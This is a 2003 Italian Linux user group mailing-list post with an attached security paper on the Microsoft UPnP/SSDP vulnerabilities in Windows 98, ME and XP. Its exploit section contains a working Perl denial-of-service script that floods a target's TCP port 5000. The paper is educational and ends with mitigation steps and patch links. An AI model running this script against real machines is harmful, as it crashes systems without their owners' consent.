[RoLUG] upnp vuln paper

Roccatello Eduard rolug@lists.linux.it
Sun, 30 Mar 2003 11:21:11 +0200


--Boundary-00=_Hcrh+o0yY+ohN0D
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

lo posto anche se =E8 un po' vecchio (per=F2 ci sono moltissime macchine an=
cora=20
vulnerabili sotto questo aspetto)
ciao
=2D-=20
Eduard Roccatello
RoLUG member @ http://rovigo.linux.it
Modding, overclock and hardware reviews @ http://www.pcimprover.it
Look at the headers for my GnuPG key and Jabber ID
--Boundary-00=_Hcrh+o0yY+ohN0D
Content-Type: text/plain;
  charset="us-ascii";
  name="upnp.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="upnp.txt"

Microsoft Universal Plug and Play Vulnerability

<INDEX>
0. Disclaimer
1. UPnP?
2. Vulnerabilit=E0
3. Exploit
4. proteggersi
</INDEX>

<0. DISCLAIMER>
Questo articolo ha lo scopo di informare gli utenti sulla vulnerabilit=E0 d=
ei
loro sistemi in modo da consentirne la protezione ed =E8 puramente didattic=
o.
L'uso per scopi illegali di questo articolo =E8 assolutamente vietato e
l'autore non =E8 responsabile di qualsiasi uso che ne venga fatto.

This text is for cultural purpose only. It was written to grow the knowledge
of users so they can protect their system better. Illegal purposes are
absolutely denied and the author is not responsible of any use of this txt.
(sorry for the english :-)

<1. UPnP?>
UPnP descrive i protocolli e le procedure per garantire l'interoperabilit=E0
fra PC, applicazioni degli stessi e dispositivi wireless.
Lo scopo di UPnP =E8 quello di stabilire una connessione peer to peer fra i
pi=F9 disparati dispositivi su una rete TCP/IP, ad esempio fra frigoriferi,
termostati, lavastoviglie e PC, stampanti, hub e molto altri.
Ci sono sei funzionalit=E0 descritte nel protocollo: analisi dei dispositiv=
i,
indirizzamento, descrizione, attivazione, registrazione degli eventi e
controllo d'interfaccia.
Quando un dispositivo va in linea invia un messaggio broadcast per segnalare
la sua presenza e ottiene un indirizzo IP tramite un server DHCP. I server
potranno cos=EC analizzare il dispositivo e determinarne funzioni e stati.
Tutti questi passaggi vengono effettuati tramite XML, un'estensione di HTML

UPnP =E8 stato pensato inizialmente per applicazioni domestiche e per altri
dispositivi banali ma si sta sviluppando verso la gestione di macchine
industriali. E' interessante infatti poter controllare tramite radio i pi=F9
disparati sistemi e dispositivi di produzione e, perch=E8 no?, di sicurezza.
Il problema sorge al momento della sua implementazione poich=E8 =E8 diffici=
le
non introdurre problematiche di sicurezza in un protocollo cos=EC ampio e
soprattutto basato su protocolli gi=E0 vulnerabili come HTML.

<2. Vulnerabilit=E0>
Le vulnerabilit=E0 sull'implementazione MicroSoft di UPnP sono state scoper=
te
da Eeye Digital Security (www.eeye.com) e sono ben tre: un buffer overflow
exploitabile da remoto, un Denial of Service e un Distribuited Denial of
Service. Il pi=F9 grave dei tre =E8 sicuramente il buffer overflow perch=E8
permette l'esecuzione di codice arbitrario sulla macchina colpita e pu=F2
rendere vulnerabile l'intera rete.
La parte di codice vulnerabile ad un buffer overflow =E8 quella che reagisce
al messaggio d'evento NOTIFY.
Quando questo messaggio =E8 infatti costruito su misura e mandato ad una ce=
rta
velocit=E0 avviene una violazione d'accesso nel servizio SSDP che si occupa=
 di
scoprire le periferiche conformi allo UPnP.
Entrambi i Denial of Service si avvalgono anch'essi del messaggio NOTIFY e
grazie ad una vulnerabilit=E0 =E8 possibile costruire un pacchetto che facc=
ia
aprire una sessione UPnP in un punto di controllo verso un altro computer;
sessione che crea una catena di loop interessanti le funzioni malloc e read
che mandano la CPU al carico massimo e occupano la memoria fisica
costringendo il computer ad un reboot fisico.
L'impatto sulla rete di tali vulnerabilit=E0 =E8 veramente grande. E' infat=
ti
possibile mandare in crash ogni macchina vulnerabile nella rete, i costi
in tempo di ripristino sarebbero enormi e le macchine potrebbero cadere ad
ogni minimo attacco senza prevenzione.

<3. Exploit>

L'exploit in questione riguarda la vulnerabilit=E0 Denial of Service di
UPnP implementato da MicroSoft.
Il suo funzionamento non =E8 garantito ed =E8 stato inserito qui solo per s=
copi
didattici. Qualsiasi utilizzo illegale di questo codice =E8 assolutamente
vietato e l'autore declina qualsiasi resposabilit=E0.
Se avete intenzioni cattive rivolgetevi altrove...

use Socket;
# inizializza il modulo Socket

use Getopt::Std;
# inizializza il modulo Getopt per la gestione degli argomenti
# =E8 possibile utilizzarlo in due modi: long ed std. con long si analizzano
# gli argomenti lunghi (ad esempio --address) mentre con std si analizzano
# gli argomenti brevi, di una lettera (come -a).

getopts("a", \%args);
# prende l'argomento di a

print("\nRoLUG Security guide\n");
print("\nCodice per la verifica del DoS di uPnP\n");
# Stampa su STDOUT un po' di banner :-)

if (!defined $args{a})
# se a non =E8 definito allora fai questa procedura
{

print("Errore di sintassi!");
print("Sintassi corretta: upnpdos.pl -a indirizzoip");
exit;
# stampa un messaggio d'errore e la sintassi corretta
# poi esci
}

$target =3D inet_aton($args{a}) || die("Indirizzo ip non valido.\n");
# definisci $target come la conversione in ip dell'indirizzo passato
# come argomento altrimenti esci lasciando un messaggio d'errore.
# Se si passa un dns la funzione tenta di risolverlo, se non ci riesce
# $target diventa "undef".

&esegui();
#richiama la sub esegui

sub esegui
{
for($i=3D0;$i<=3D255;$i++) {
#da i=3D0 a i<=3D 255 esegui la procedura fra { } e aumenta i di 1
for ($n=3D0;$n<=3D50;$n++) { invia(chr($i)); }
# da n=3D0 fino a 50 richiama la sub invia con argomento
# chr(i), cio=E8 un carattere della tabella ascii

print($i," - ", chr($1), "\n");
# stampa a video "numero - ascii" e va a capo
}
print("\nOK!\n");
}

sub invia
{
my ($pstr)=3D@_;
# prende l'argomento passato

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')) || die("Non
riesco ad avviare il socket!");
# apre un socket tcp chiamato S. se non riesce ad avviare
# stampa un messaggio a video e termina l'esecuzione

if(connect(S,pack "SnA4x8",2,5000,$target))
# se riesce a fare la connessione su $target (porta 5000) allora
{
my @in;
# definisce una variabile interna
select(S); $|=3D1; print $pstr;
# sceglie S come output e stampa $pstr
while(< S >)
{
push @in, $_;
print STDOUT "." if(defined $args{X});
}
select(STDOUT); close(S); return @in;
}
else { die("\n\nErrore: impossibile connettersi.\n"); }
# altrimenti termina e stampa un messaggio d'errore
}

<4. Proteggersi>

Se stiamo utilizzando
=2D Microsoft Windows 98
=2D Microsoft Windows 98SE
=2D Microsoft Windows ME
=2D Microsoft Windows XP
il nostro sistema =E8 vulnerabile.
(Windows 98, 98SE e ME sono vulnerabili solo se =E8 stata attivata la
condivisione della connessione ad internet).

Per prima cosa dobbiamo chiudere all'esterno le porte 1900 e 5000 e questo
dovrebbe essere fatto anche senza vulnerabilit=E0 visto che non =E8 conveni=
ente
far conoscere a tutti le periferiche UPnP installate nella nostra rete...
Se dovete far vedere all'esterno queste periferiche =E8 bene che il tutto si
svolga all'interno di una VPN o all'infuori di internet.
Bisogna inoltre valutare se abbiamo veramente bisogno di questi servizi e in
caso contrario disabilitare tutto ci=F2 che riguarda UPnP e SSDP.

A questo punto =E8 necessario installare la patch apposita per risolvere
queste vulnerabilit=E0 ed =E8 consigliabile farlo anche se non se ne ha la
necessit=E0 perch=E8 i servizi non sono utilizzati (non si sa mai).
Potete trovare le patch qui:

Microsoft Windows 98 and 98SE:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=3D33592

Microsoft Windows ME:
http://download.microsoft.com/download/winme/Update/21388/WinMe/EN-US/31131=
1USAM\
=2EEXE

Microsoft Windows XP:
Service Pack 1
--Boundary-00=_Hcrh+o0yY+ohN0D--